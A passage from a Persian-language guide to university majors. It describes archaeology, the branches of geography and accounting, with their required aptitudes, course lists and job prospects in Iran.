    دیباچه: باستان‌شناس فردی است که در محل‌های باستانی کاوش می‌کند، یافته‌ها را مورد مطالعه قرار می‌دهد و پس از تعیین ارزش مادی و معنوی و تخمین قدمت آثار، آنها را در بازارهای عتیقه به فروش می‌رساند.در گذشته‌ای نه چندان دور، جامعه ما چنین دیدگاهی نسبت به باستان‌شناس داشت. در واقع مردم باستان‌شناس را با “عتیقه جمع‌کن” یا “عتیقه‌فروش” یکی می‌دانستند. کاری که بسیاری از شاهزادگان و درباریان دوره قاجار و پهلوی به عنوان یک سرگرمی ساده، برای کسب درآمد بیشتر انجام می‌دادند. اما در حقیقت باستان شناس یک تاجر یا عتیقه ‌جمع‌کن نیست. بلکه‌ یک‌ محقق‌ است‌؛ محققی‌ که‌ شواهد لازم‌ را برای‌ تحقیقات‌ خود از طریق‌ بررسی‌ ، پژوهش‌ و کاوش‌ در نقاط‌ مختلف‌ جهان‌ که‌ روزی‌ محل‌ تردد، سکونت‌ یا هر نوع‌ فعالیت‌ انسانی‌ بوده‌ است‌، به‌ دست‌ می‌آورد‌ و سعی‌ دارد تا گذشته‌ را براساس‌ یافته‌های‌ خود بازسازی‌ کند. باستان‌شناسی‌ از یک‌ سو مسیر تاریخ‌ راتعیین‌ می‌کند و از سوی‌ دیگر مادر تاریخ‌ است‌. در واقع‌ روشن‌کردن‌ گذشته‌ هر جامعه‌ از نظر‌ اقتصادی‌، فرهنگی‌، اجتماعی‌، سیاسی‌ یا مذهبی‌ بدون‌ مراجعه‌ به‌ نظر باستان‌شناسان‌ دشوار یا حتی‌ غیرممکن‌ است‌.
    توانایی‌های‌ لازم :
    باستان‌شناس‌ باید علاقه‌مند به‌ کار در طبیعت‌ باشد؛ یعنی‌ اگر جوانی‌ عاشق‌ کاوش‌ و جستجو و کشف‌ مجهولات‌ و نقاط‌ تاریک‌ تاریخ‌ گذشته‌ نباشد، نمی‌تواند در این‌ رشته‌ موفق‌ گردد. داشتن‌ اطلاعاتی‌ مناسب‌ در زمینه‌ تاریخ‌ و جغرافیای‌ ایران‌ و کشورهای‌ همسایه‌ همچنین‌ تسلط‌ به‌ زبان‌ انگلیسی‌ برای‌ دانشجوی‌ این‌ رشته‌ ضروری‌ است‌.
    موقعیت‌ شغلی‌ در ایران :
    در حالی‌ که‌ ما تعداد قابل‌ توجهی‌ فارغ‌التحصیل‌ باستان‌شناسی‌ بیکار داریم‌، بسیاری‌ از آثار باستانی‌ کشور ما هنوز شناسایی‌ و ثبت‌ نشده‌ است‌ و حتی‌ آثار ثبت‌ شده‌ نیز ، به خوبی‌ حفظ‌ یا معرفی‌ نمی‌شوند. در حقیقت با وجود این‌ که‌ در کشور ما زمینه‌های‌ ملی‌ رشته‌ باستان‌ شناسی‌ وجود دارد و باید حداقل‌ در منطقه‌ خاورمیانه‌، باستان‌شناسی‌ ما حرف‌ اول‌ را بزند اما متأسفانه‌ در زمینه‌ مطالعات‌ باستان‌شناسی‌ بسیار ضعیف‌ عمل‌ می‌کنیم‌. به‌ همین‌ دلیل‌ به‌ داوطلبان‌ آزمون‌ سراسری‌ توصیه‌ می‌شود که‌ اگر می‌خواهند وارد دانشگاه‌ شوند تا بعد از لیسانس‌ پول‌ یا کار راحتی‌ به‌ دست‌ بیاورند، رشته‌ باستان‌شناسی‌ را انتخاب‌ نکنند؛ چون‌ حداقل‌ در سطح‌ لیسانس‌ موقعیت‌ کاری‌ این‌ رشته‌ بسیار محدود است. اما اگر عاشق‌ و شیفته‌ تاریخ‌، تمدن‌ و فرهنگ‌ کشورشان‌ هستند، بدانند که‌ این‌ رشته‌ آنها را راضی‌ خواهد کرد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌ :
    تاریخچه‌ علم‌ باستان‌شناسی‌، بررسی‌ تمدن‌های‌ باستانی‌ از نظر قرآن‌ کریم‌، جغرافیای‌ تاریخی‌، اصول‌ و مبانی‌ انسان‌شناسی‌، اسطوره‌شناسی‌، تاریخ‌ هنر از باستان‌ تا آغاز اسلام‌، حفظ‌ آثار باستانی‌، اصول‌ و مبانی‌ باستان‌شناسی‌.
    دروس‌ اصلی‌ و تخصصی :
    استخوان‌شناسی‌، باستان‌شناسی‌ پیش‌ از تاریخ‌ ایران‌، ایران‌ در آغاز شهرنشینی‌، باستان‌شناسی‌ و هنر ایلام‌، باستان‌شناسی‌ ایران‌ در هزاره‌ اول‌ قبل‌ از میلاد، باستان‌شناسی‌ و هنر ماد و هخامنشی‌، باستان‌شناسی‌ اشکانی‌، باستان‌شناسی‌ ساسانی‌، باستان‌ شناسی‌ وهنر اسلامی‌، فلزکاری‌ دوره‌ اسلامی‌، باستان‌شناسی‌ پیش‌ از تاریخ‌ بین‌النهرین‌، هنر و معماری‌ بین‌النهرین‌ در دوران‌ تاریخی‌، باستان‌شناسی‌ مصر باستان‌، باستان‌شناسی‌ و هنر آسیای‌ صغیر، سکه‌شناسی‌، شناخت‌ مهر و تابلت‌، تاریخ‌ هنر نقاشی‌ در ایران‌، هنر یونان‌ و روم‌ باستان‌، حفاظت‌ اشیاء باستانی‌، باستان‌شناسی‌ و هنر سرزمین‌های‌ اسلامی‌، سیر تحول‌ خطوط‌ و خواندن‌ کتیبه‌های‌ اسلامی‌، کتاب‌ آرایی‌، هنر خاور دور، هنر هند باستان‌، خواندن‌ خطوط‌ باستانی‌، تکنیک‌ و هنر سفالگری‌، طراحی‌ و ترسیم‌ مدارک‌ باستانی‌، روش‌ کاوش‌، موزه‌داری‌، کاوش‌ در محل‌، طبقه‌بندی‌ سفال‌، بررسی‌ آثار باستانی‌، خواندن‌ متون‌ باستان‌شناسی‌، باستان‌شناسی‌ و هنر قلمرو غربی‌ اسلامی‌.

  64. ????????????????????????????
    جغرافیا
    دیباچه: “جغرافیا؛ یعنی کشور شناسی” این، دیدگاهی است که در ذهن بسیاری از دانش‌آموزان وجود دارد. زیرا دانش‌آموزان در کتاب جغرافیای خود،‌ بیش از هر چیز درباره وسعت،‌ محصولات و وضعیت آب و هوای کشورهای مختلف مطالعه می‌کنند. در حالی که در رشته جغرافیا فقط یک درس در شاخه جغرافیای طبیعی،‌ تحت عنوان “جغرافیای قاره‌ها” وجود دارد و تمام مباحث این رشته کاربردی و فنی است.در یک کلام می‌توان گفت که موضوع جغرافیا “مکان” است و این علم، مکان را تا جایی که به زندگی انسان مربوط می‌شود، مطالعه می‌کند و در این مطالعه سعی دارد سطح زمین را از نظر تمام ویژگی‌های آن مانند سردی و گرمی،‌ حاصلخیزی، سستی و سختی، شوری و شیرینی، خشکی و رطوبت و هزاران ویژگی‌ دیگر بشناسد. به همین دلیل مشاهده مستقیم زمین، روش اصلی مطالعه جغرافیا است. جغرافیا در مقطع‌ کارشناسی‌ در پنج شاخه‌ اصلی‌ جغرافیای‌ طبیعی‌، جغرافیای‌ انسانی‌ ، کارتوگرافی‌، جغرافیا و برنامه‌ریزی شهری و جغرافیای‌ سیاسی‌ ـ نظامی‌ ارائه‌ می‌شود و هر یک‌ از گرایش‌های‌ جغرافیای‌ طبیعی‌ و انسانی‌ دارای‌ شاخه‌‌های‌ متعددی‌ است‌. البته‌ تفاوت‌ هر گرایش‌ با گرایش‌ دیگر تنها در ۸ واحد تخصصی‌ است‌ و به‌ همین‌ دلیل‌ بسیاری‌ از دانشگاه‌ها در دفترچه‌ راهنمای‌ آزمون‌ سراسری‌، گرایش‌های‌ موجود در دانشگاه‌ خود را ذکر نکرده‌ و تنها به‌ شاخه‌های‌ اصلی‌ جغرافیا که‌ در آن‌ دانشگاه‌ تدریس‌ می‌شود، اشاره‌ نموده‌اند.
    شاخه‌ جغرافیای‌ طبیعی:
    جغرافیای‌ طبیعی‌ علمی‌ است‌ که‌ محیط‌ طبیعی‌ و تأثیر عوامل‌ و عناصر محیطی‌ بر زندگی‌ و فعالیت‌ انسان‌ را مطالعه‌ می‌کند. این‌ علم‌ در مقطع‌ کارشناسی‌ دارای‌ دو گرایش‌ ژئومورفولوژی‌ و آب‌ و هواشناسی‌ است‌.
    گرایش‌ ژئومورفولوژی:
    ژئومورفولوژی‌ بیشتر به‌ پدیده‌های‌ سطح‌ زمین‌ توجه‌ دارد؛ یعنی‌ ریخت‌ یا چهره‌ زمین‌ را مطالعه‌ می‌کند. به‌ همین‌ دلیل‌ این‌ علم‌ ارتباط‌ بسیاری با زمین‌شناسی‌ دارد و تحت‌ تأثیر یافته‌های‌ علم‌ زمین‌شناسی‌ است‌. چرا که‌ ریخت‌ یا شکل‌ ظاهری‌ زمین‌، تبلور اتفاقات‌ درون‌ زمین‌ می‌باشد. البته‌ زمین‌شناسی‌ بیشتر به‌ اعماق‌ و لایه‌های‌ درونی‌ زمین‌ می‌پردازد اما ژئومورفولوژی‌ فرآیندهای‌ بیرونی‌ یا سطحی‌ زمین‌ را مطالعه‌ می‌کند.
    دروس‌ تخصصی‌ گرایش‌ ژئومورفولوژی‌:
    ژئومورفولوژی‌ مناطق‌ شهری‌، نقشه‌ها و نمودارهای‌ ژئومورفولوژی‌، هیدرولوژی‌ کاربردی‌، کاربرد ژئومورفولوژی‌ در برنامه‌ریزی‌ شهری‌ و منطقه‌ای‌، تفسیر نقشه‌ (توپوگرافی‌ و زمین‌شناسی‌)، پایان‌نامه‌.
    گرایش‌ آب‌ و هواشناسی‌ (اقلیم‌):
    رشته‌ آب‌ و هواشناسی‌ فرآیندهای‌ حاکم‌ در داخل‌ جو از جمله‌ انرژی‌ و توزیع‌ آن‌ در سطح‌ سیاره‌ زمین‌، حرکات‌ جو و قانونمندی‌های‌ حاکم‌ بر این‌ حرکات‌ و تأثیر این‌ فعالیت‌ها را بر روی‌ زیست‌ و فعالیت‌ انسان‌ها، جانداران‌ و محیط‌ بی‌جان‌ سیاره‌ زمین‌ مطالعه‌ می‌کند. در این‌ گرایش‌ بیشتر مسائل‌ آب‌ و هوا و تأثیر عناصر و عوالم‌ اقلیمی‌ در فعالیت‌ انسان‌ و مسائل‌ بهره‌برداری‌ از زمین‌ مثل‌ کشاورزی‌ مطرح‌ می‌شود.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ مشترک‌ در‌ شاخه‌های‌ مختلف جغرافیا:
    جغرافیای‌ آب‌ها، جغرافیای‌ خاک‌ها، جغرافیای‌ زیستی‌، آب‌ و هوای‌ ایران‌، ژئومورفولوژی‌ ایران‌، منابع‌ و مسائل‌ آب‌ ایران‌، اصول‌ و روش‌های‌ برنامه‌ریزی‌ ناحیه‌ای‌، مبانی‌ جغرافیای‌ جمعیت‌، مبانی‌ جغرافیای‌ روستائی‌، مبانی‌ جغرافیای‌ اقتصادی‌ (کشاورزی‌) ، مبانی‌ جغرافیای‌ اقتصادی‌ (صنعت‌) ، حمل‌ و نقل‌ و انرژی‌، جغرافیای‌ سیاسی‌، مبانی‌ جغرافیای‌ شهری‌، جغرافیای‌ کوچ‌نشینی‌، پژوهش‌ میدانی‌ در جغرافیا (روش‌ تحقیق‌ عملی‌)، زمین‌ در فضا، ریاضیات‌ ، آمار و احتمالات‌ ، منابع‌ و مآخذ جغرافیای‌ ایران‌، فلسفه‌ جغرافیا و جغرافیای‌ کاربردی‌، تاریخ‌ علم‌ جغرافیا، کارتوگرافی‌ (نقشه‌کشی‌)، نقشه‌برداری‌ (نظری‌ و عملی‌)، نقشه‌خوانی‌، روش‌ تحقیق‌ (نظری‌) ، اصول‌ سنجش‌ از دور، کاربرد عکس‌های‌ هوایی‌ و ماهواره‌ای‌ در جغرافیا، کامپیوتر در جغرافیا، مبانی‌ علم‌ جغرافیا، زمین‌شناسی‌ برای‌ جغرافیا، مبانی‌ اقلیم‌شناسی‌، آب‌ و هوای‌ کره‌ زمین‌، مبانی‌ ژئومورفولوژی‌.
    دروس‌ اصلی‌ مشترک‌ در‌ گرایش‌های‌ جغرافیای‌ طبیعی‌:
    جغرافیای‌ قاره‌ها، جغرافیای‌ کواترنر، زمین‌شناسی‌ ایران‌، مسائل‌ جغرافیائی‌ مناطق‌ خشک‌ ایران‌، حفاظت‌ خاک‌، جنگل‌ و مرتع‌ و مسائل‌ آن‌ در ایران‌، جغرافیای‌ ناحیه‌ای‌ ایران‌ ، متون‌ جغرافیای‌ طبیعی‌ به‌ زبان‌ خارجی‌ ، جغرافیای‌ انسانی‌ ایران‌، نقشه‌برداری‌ تکمیلی‌، مبانی‌ محیط‌ زیست‌، ژئومورفولوژی‌ اقلیمی‌، کاربرد جغرافیای‌ طبیعی‌ در برنامه‌ریزی‌ شهری‌ و منطقه‌ای‌ (با تأکید بر ایران‌).
    شاخه‌ کارتوگرافی:
    کارتوگرافی‌ هنر، علم‌ و فن‌ تهیه‌ انواع‌ نقشه‌ برای‌ استفاده‌ در ساختار اقتصادی‌، فرهنگی‌، دفاع‌ ملی‌، روابط‌ بین‌الملل‌، تعلیم‌ و تربیت‌، جهانگردی‌ و موارد متنوع‌ دیگر است‌. یعنی‌ یک‌ جغرافیدان‌ به‌ یاری‌ نقشه‌، اطلاعات‌ دقیقی‌ درباره‌ موقعیت‌ها و پراکندگی‌ها به‌ دست‌ می‌آورد. با توجه‌ به‌ این‌ که‌ ما صدها نوع‌ نقشه‌ داریم‌، مشخص‌ است‌ که‌ تهیه‌ یک‌ نقشه‌ نیاز به‌ مهارتی‌ خاص‌ دارد که‌ این‌ مهارت‌ را دانشجوی‌ شاخه کارتوگرافی‌ به‌ دست‌ می‌آورد.
    دروس‌ پایه‌ و اصلی‌:
    ریاضیات‌ ، سنجش‌ از راه‌ دور، ژئومورفولوژی‌ ایران‌، جغرافیای‌ آب‌های‌ ایران‌، منابع‌ و مآخذ جغرافیای‌ ایران‌، متون‌ جغرافیایی‌ به‌ زبان‌ خارجی‌ ، جغرافیای‌ خاک‌ها، جغرافیای‌ نظامی‌ ایران‌، مبانی‌ جغرافیای‌ سیاسی‌، فلسفه‌ جغرافیا، زمین‌ در فضا، زمین‌شناسی‌ برای‌ جغرافیا، مبانی‌ آب‌ و هواشناسی‌، جغرافیای‌ آب‌ها، ژئومورفولوژی‌ عمومی‌، جغرافیای‌ زیستی‌، کاربرد آمار در جغرافیا، جغرافیای‌ اقتصادی‌ عمومی‌، جغرافیای‌ جمعیت‌، جغرافیای‌ روستایی‌ (عمومی‌ و ایران‌)، جغرافیای‌ شهری‌ (عمومی‌ و ایران‌).
    دروس‌ تخصصی‌:
    آمار و احتمالات‌، کامپیوتر، فیزیک‌ نور، کلیات‌ جغرافیای‌ جهان‌، تئوری‌ خطاها، فتوگرامتری‌، تفسیر عکس‌، هیدروگرافی‌، نقشه‌برداری‌، کارتوگرافی‌ ریاضی‌، کارتوگرافی‌ موضوعی‌، عکاسی‌ و فن‌ چاپ‌، گرافیک‌، نقشه‌برداری‌ هیدروگرافی‌، پروژه‌ کارتوگرافی‌، کارتوگرافی‌ کامپیوتری‌، جغرافیای‌ خلیج‌فارس‌، ژئودزی‌ عمومی‌، نجوم‌ ژئودزی‌، کارتوگرافی‌، متون جغرافیایی به زبان خارجی، جغرافیای آب‌های ایران، جغرافیای نظامی در ایران.
    شاخه‌ جغرافیای‌ انسانی‌:
    جغرافیای‌ انسانی‌ به‌ عنوان‌ یکی‌ از شاخه‌های‌ مهم‌ علم‌ جغرافیا در دو گرایش‌ جغرافیای‌ شهری‌ و روستائی‌ در دانشگاه‌ها و مؤسسات‌ آموزش‌ عالی‌ کشورمان‌ ارائه‌ می‌شود.
    گرایش‌ جغرافیای‌ شهری:
    جغرافیای‌ شهری‌ به‌ مطالعه‌ مسائل‌ مهمی‌ از جمله‌ گسترش‌ شهرها، مسائل‌ اقتصادی‌ و جمعیتی‌ شهرها و بحث‌ روز جغرافیای‌ شهری‌؛ یعنی‌ توریسم‌ می‌پردازد. بررسی‌ نحوه‌ اشغال‌ فضا، نوع‌، تمرکز و پراکندگی‌ مشاغل‌ در یک‌ شهر و چگونگی‌ جابه‌جایی‌ از محل‌ کار به‌ سکونت‌، ارتباط‌ شغل‌ و مسکن‌ و تأثیرات‌ متقابل‌ و چندجانبه‌ای‌ که‌ میان‌ این‌ متغیرها برقرار است‌، در جغرافیای‌ اجتماعی‌ شهرها بررسی‌ می‌شود.
    دروس‌ اصلی‌ مشترک‌ در‌ گرایش‌های‌ مختلف جغرافیای‌ انسانی‌:
    جغرافیای‌ جمعیت‌ ایران‌، جغرافیای‌ روستائی‌ ایران‌، جغرافیای‌ شهری‌ ایران‌، جغرافیای‌ اقتصادی‌ ایران‌، حمل‌ و نقل‌ انرژی‌، اصول‌ علم‌ اقتصاد، نظریه‌های‌ اقتصادی‌ و اقتصاد توسعه‌، متون‌ جغرافیای‌ انسانی‌ به‌ زبان‌ خارجی‌ ، نقشه‌ها و نمودارهای‌ موضوعی‌ در جغرافیای‌ انسانی‌، ویژگی‌های‌ جغرافیای‌ انسانی‌ مناطق‌ خشک‌ ایران‌، جغرافیا و صنعت‌ توریسم‌، ویژگی‌های‌ جغرافیائی‌ کشورهای‌ توسعه‌ یافته‌، ویژگی‌های‌ جغرافیائی‌ کشورهای‌ اسلامی‌، ویژگی‌های‌ جغرافیائی‌ آسیای‌ میانه‌، کاربرد جغرافیای‌ طبیعی‌ در برنامه‌ریزی‌ شهری‌ و روستائی‌، جغرافیای‌ تاریخی‌ (با تأکید بر ایران‌).
    دروس‌ تخصصی‌ گرایش‌ جغرافیای‌ شهری‌ :
    اقتصاد شهری‌، شهرها و شهرک‌های‌ جدید، روابط‌ متقابل‌ شهر و روستا با تأکید بر ایران‌، اصول‌ و روش‌های‌ برنامه‌ریزی‌ شهری‌، برنامه‌ریزی‌ شهری‌ در ایران‌، کارگاه‌ برنامه‌ریزی‌شهری‌ و منطقه‌ای(روش‌ تهیه‌ تفسیر طرح‌های‌ شهری‌ و منطقه‌ای‌)،پایان‌ نامه‌.
    گرایش‌ جغرافیای‌ روستایی‌:
    این‌ گرایش‌ به‌ بررسی‌ رابطه‌ شهر و روستا، برنامه‌ریزی‌ و توسعه‌ روستایی‌، نوسازی‌ و آینده‌ روستاها، روستاهای‌ آینده‌،علل‌ و عوامل‌ مهاجرت‌ روستانشینان‌، بهداشت‌ و اوقات‌ فراغت‌ روستائیان‌، حفظ‌ محیط‌ زیست‌، نحوه‌ حمل‌ و نقل‌، کیفیت‌ زندگی‌ و وضعیت‌ اقتصادی‌ روستاها می‌پردازد.
    دروس‌ تخصصی‌ گرایش‌ جغرافیای‌ روستایی‌:
    اصول‌ و روش‌های‌ برنامه‌ریزی‌ روستائی‌، اقتصاد روستائی‌، روابط‌ متقابل‌ شهر و روستا با تأکید بر ایران‌، برنامه‌ریزی‌ روستائی‌ در ایران‌، کارگاه‌ برنامه‌ریزی‌ روستائی‌ (روش‌ تهیه‌ و تفسیر طرح‌های‌ روستائی‌)، پایان‌ نامه‌.
    شاخه جغرافیا و برنامه‌ریزی‌ شهری:
    شاخه‌ جغرافیا و برنامه‌ریزی‌ شهری‌ تلاش‌ می‌کند تا با توجه‌ به‌ عوامل‌ انسانی‌ و طبیعی‌ موجود در هر شهر، برای‌ مسائل‌ جمعیتی‌، اقتصادی‌ و زیست‌ محیطی‌ آن،‌ برنامه‌ای‌ بیندیشد تا مطابق‌ این‌ برنامه‌ مهندسین‌ معمار، عمران‌، سازه‌ و تأسیسات‌، بخش‌های‌ مختلف‌ شهر را طراحی‌ کرده‌ و مشکلات‌ شهر را حل‌ نمایند.
    شاخه‌ جغرافیای‌ سیاسی‌ ـ نظامی:
    این‌ شاخه‌ از جغرافیا به‌ بررسی‌ نقش‌ عوامل‌ جغرافیایی‌ در سرنوشت‌ جنگ‌ها می‌پردازد؛ عواملی‌ مثل‌ وضعیت‌ ارتفاعات‌، آب‌و هوا یا وضعیت‌ کشورهای‌ همسایه‌ که‌ می‌تواند نقش‌ بسزایی‌ در سرنوشت‌ یک‌ جنگ‌ و در نتیجه‌ در وضعیت‌ سیاسی‌ یک‌ کشور داشته‌ باشد.
    دروس‌ پایه‌ و اصلی‌:
    تهیه‌ و تفسیر نقشه‌های‌ هوا و اقلیم‌، سازمان‌های‌ بین‌المللی‌، نظامیان‌ و سیاست‌، مبانی‌ و اصول‌ جغرافیای‌ نظامی‌، اصول‌ روابط‌ بین‌المللی‌، حقوق‌ اساسی‌ جمهوری‌ اسلامی‌ ایران‌، مقدمه‌ای‌ بر‌ روش‌ تحقیق‌ در جغرافیا، نقشه‌خوانی‌، مبانی‌ عکس‌های‌ هوایی‌، تفسیر عکس‌های‌ هوایی‌، اصول‌ سنجش‌ از دور، آشنایی‌ با رسته‌های‌ نظامی‌، اطلاعات‌ و عملیات‌، طرح‌ و عملیات‌، اصول‌ آفند و پدافند.
    دروس‌ تخصصی‌:
    آب‌ و هوای‌ مناطق‌ نظامی‌ ایران‌، تهیه‌ و تفسیر نقشه‌های‌ ژئومورفولوژی‌، ژئومورفولوژی‌ ایران‌، جغرافیای‌ نظامی‌ ایران‌ ، مسائل‌ سیاسی‌ و نظامی‌ ایلات‌ و عشایر ایران‌، جغرافیای‌ نظامی‌ ترکیه‌ و عراق‌، جغرافیای‌ نظامی‌ کشورهای‌ حاشیه‌ خلیج‌فارس‌، جغرافیای‌ نظامی‌ افغانستان‌ و پاکستان‌، جغرافیای‌ نظامی‌ شوروی‌، مسائل‌ نظامی‌ و استراتژیک‌ معاصر، جغرافیای‌ سیاسی‌ ایران‌، تاریخ‌ اجتماعی‌ و سیاسی‌ ایران‌، جغرافیای‌ سیاسی‌ خلیج‌فارس‌، جغرافیای‌ اقتصادی‌ سیاسی‌ جهان‌ سوم‌، جغرافیای‌ سیاسی‌ جهان‌ اسلام‌، جنبش‌ها و نهضت‌های‌ سیاسی‌ اسلام‌ در قرن‌ ۲۰، هنر جنگ‌، سیاست‌ خارجی‌ ایران‌، نقشه‌های‌ موضوعی‌، جغرافیای‌ آب‌های‌ ایران‌، متون‌ جغرافیا به‌ زبان‌ خارجی‌ .
    توانایی‌های‌ لازم‌ :
    آمار و مبانی‌ ریاضی‌ در رشته‌ جغرافیا اهمیت‌ ویژه‌ای‌ دارد زیرا تهیه‌ مدل‌های‌ مختلف‌ و نمایش‌ آنها مانند محاسبه‌ سطح‌ جزر و مد دریا، محاسبه‌ بارش‌ باران‌ یا محاسبه‌ آب‌های‌ زیرزمینی‌ از طریق‌ علم‌ آمار و احتمالات‌ و زبان‌ ریاضی‌ ممکن‌ است. همچنین هندسه‌ و ریاضی‌ دو پایه‌ مهم‌ گرایش‌ کارتوگرافی‌ است‌ و به‌ همین‌ دلیل‌ به‌ اعتقاد بسیاری‌ از استادان رشته‌ جغرافیا بهتر است‌ که‌ برای‌ این‌ گرایش‌ از بین‌ داوطلبان‌ گروه‌ ریاضی‌ فیزیک‌ دانشجو پذیرفته‌ شود. علاوه‌ بر هندسه‌ و ریاضی‌ دانشجوی‌ این‌ رشته‌ بخصوص‌ دانشجوی‌ جغرافیای‌ انسانی‌ باید به‌ علوم‌ اجتماعی‌ علاقه‌مند بوده‌ و درک‌ خوبی‌ از مسائل‌ اجتماعی‌ داشته‌ باشد تا بتواند مسائل‌ اجتماعی‌ و جمعیتی‌ شهر را بررسی‌ کرده‌ و راه‌ حل‌های‌ مناسبی‌ برای‌ مشکلات‌ موجود ارائه‌ دهد.
    موقعیت‌ شغلی‌ در ایران :
    فارغ‌التحصیلان گرایش‌ آب‌ و هواشناسی‌ می‌توانند در سازمان‌ هواشناسی‌، وزارت‌ نیرو، وزارت‌ جهاد کشاورزی‌، سازمان‌ حفاظت‌ از محیط‌ زیست‌، شهرداری‌ها، ستاد حوادث‌ غیرمترقبه‌ وزارت‌ کشور و مراکز نظامی‌ مشغول‌ به‌ کار شوند. دانشجویان‌ گرایش‌ ژئومورفولوژی‌ نیز می‌توانند در وزارت‌ جهاد کشاورزی‌ مشغول‌ به‌ کار گردند. مؤسسه‌ تحقیقات‌ آبخیزداری‌ جهاد کشاورزی‌ نیز که‌ لایه‌های‌ سطحی‌ زمین‌ را برای‌ کنترل‌ فرسایش‌ مطالعه‌ می‌کند، مرکز مناسبی‌ برای‌ جذب‌ فارغ‌التحصیلان‌ این‌ رشته‌ است‌ و در نهایت‌ باید به‌ سازمان‌ زمین‌شناسی‌ به‌ عنوان‌ یکی‌ دیگر از مراکز اشتغال‌ فارغ‌التحصیلان‌ این‌ رشته‌ اشاره‌ نمود. فارغ‌التحصیلان‌ کارتوگرافی‌ نیز می‌توانند در مراکز متعددی‌ مانند سازمان‌ نقشه‌برداری‌ کشور، سازمان‌ جغرافیای‌ نیروهای‌ مسلح‌ و وزارتخانه‌های‌ نیرو و معادن‌ مشغول‌ به‌ کار شوند. فارغ‌التحصیلان‌ جغرافیای‌ انسانی‌ می‌توانند به‌ عنوان‌ محقق‌ در سازمان‌ برنامه‌ و بودجه‌، بنیاد مسکن‌ انقلاب‌ اسلامی‌، بنیاد مستضعفان‌ و جانبازان‌، سازمان‌ جغرافیایی‌ نیروهای‌ مسلح‌، سازمان‌ محیط‌ زیست‌، شهرداری‌ها و وزارتخانه‌های‌ آموزش‌ و پرورش‌، مسکن‌ و شهرسازی‌، کشور، جهاد کشاورزی‌، معادن‌ و فلزات‌، دفاع‌ و نفت‌ مشغول‌ به‌ کار شوند و در بخش‌ بازاریابی‌ کارخانجات‌ کشور فعالیت‌ کنند. همچنین‌ در حال‌ حاضر در اکثر کشورهای‌ جهان‌ ، افرادی‌ که‌ در صنعت‌ توریسم‌ کار می‌کنند، فارغ‌التحصیل‌ جغرافیای‌ شهری‌ هستند. چون‌ بخش‌ مهمی‌ از دروس‌ جغرافیای‌ شهری‌ در زمینه‌ توریسم‌ است. استانداری‌ها و شهرداری‌ها نیز از مراکز اصلی‌ فعالیت‌ فارغ‌التحصیل‌ جغرافیای‌ شهری‌ می‌باشد. جغرافیای‌ نظامی‌ نیز در مقطع‌ لیسانس‌ یک‌ رشته‌ کاربردی‌ است‌. به‌ همین‌ دلیل‌ فارغ‌التحصیلان‌ این‌ رشته‌ به راحتی‌ جذب‌ سازمان‌های‌ نظامی‌، انتظامی‌ و سیاسی‌ می‌شوند‌ و در مراکزی‌ مانند ستادهای‌ تخصصی‌ و عمومی‌ و مراکز مطالعات‌ جغرافیایی‌ نیروهای‌ مسلح‌ و دفتر مطالعات‌ منطقه‌ای‌ وزارت‌ امور خارجه‌ فعالیت‌ می‌کنند.

  65. حسابداری
    دیباچه: یک چرتکه، یکی دو دفتر و یک قلم، ابزار کار آن‌ها بوده است تا حساب دخل و خرج یک واحد اقتصادی را ثبت کنند و به وضعیت مالی آن سر و سامان ببخشند.این افراد در قدیم عنوانشان “میرزا” بود. بعدها “دفتردار” نام گرفتند و امروزه به نام “حسابدار” فعالیت می‌کنند. البته نسل جدید به جای چرتکه از ماشین حساب یا ماشین‌های الکترونیکی استفاده می‌کنند و سرو کارشان با کامپیوتر است اما این پیشرفت، بیشتر شامل ابزار کار می‌شود نه نوع کار، چون آن‌ها حسابداری را فنی “تجربی” می‌دانند که باید به روش استاد و شاگردی فرا گرفت و نیازی به تحصیلات دانشگاهی ندارد.حال سؤال اینجاست که اگر حسابداری نیاز به تحصیلات دانشگاهی ندارد، چرا از سال ۱۳۴۵ رشته حسابداری در آموزشگاه عالی حسابداری شرکت ملی نفت ایران و سپس در دانشگاه تهران دایر گردید و امروزه نیز در بسیاری از دانشگاه‌های دولتی و غیردولتی تدریس می‌شود؟ آیا می‌توان گفت که حسابداری در مفهوم امروزین آن با دفترداری متفاوت است؟در پاسخ باید گفت که حسابداری‌ یک‌ “سیستم” است‌ که‌ در آن‌ فرآیند جمع‌آوری‌، طبقه‌بندی‌، ثبت‌، خلاصه‌ کردن‌ اطلاعات‌ و تهیه‌ گزارش‌های‌ مالی‌ و صورت‌های‌ حسابداری‌ در شکل‌ها و مدل‌های‌ خاص‌ انجام‌ می‌گیرد. تا افراد ذی‌نفع‌ درون‌ سازمانی‌ مثل‌ مدیران‌ سازمان‌ یا برون‌سازمانی‌ مثل‌ بانک‌ها، مجمع‌ عمومی‌ سازمان‌ مورد نظر یا مقامات‌ مالیاتی‌ بتوانند ازاین‌ اطلاعات‌ استفاده‌ کنند. به‌ همین‌ دلیل‌ فردی‌ که‌ تحصیلات‌ دانشگاهی‌ ندارد، بیشتر دفتردار است‌ تا حسابدار. چرا که‌ گزارش‌های‌ این‌ دسته‌ از افراد مطابق‌ استاندارد نیست‌ و پردازش‌ کافی‌ نمی‌شود و بیشتر تراز حساب‌ها می‌باشد. برای‌ مثال‌ یک‌ حسابدار تجربی‌ نمی‌تواند به راحتی‌ بین‌ دارایی‌ کوتاه‌ مدت‌ و بلند مدت‌ تفاوت‌ قائل‌ شود یا نمی‌داند که‌ چگونه‌ باید معاملات‌ ارزی‌ را در دفاتر ثبت‌ کند. از سوی‌ دیگر یک‌ حسابدار متخصص‌، در آینده‌ می‌تواند مدیر مالی‌ یک‌ سازمان‌ یا شرکت‌ گردد؛ یعنی‌ می‌تواند به‌ مدیریت‌ یک‌ شرکت‌ ایده‌ بدهد که‌ منابع‌ موجودش‌ را در چه‌ راه‌هایی‌ سرمایه‌گذاری‌ نماید تا استفاده‌ بهینه‌ کند یا اگر شرکت‌ به‌ منابع‌ مالی‌ جدید نیاز داشت‌ یک‌ مدیر مالی‌ براساس‌ دانش‌ آکادمیک‌ خود می‌تواند بگوید که‌ از چه‌ طریقی‌ باید تأمین‌ مالی‌ کرد در حالی‌ که‌ مجموع‌ این‌ فعالیت‌ها خارج‌ از توانایی‌ یک‌ حسابدار تجربی‌ است‌.
    توانایی‌های‌ لازم‌ :
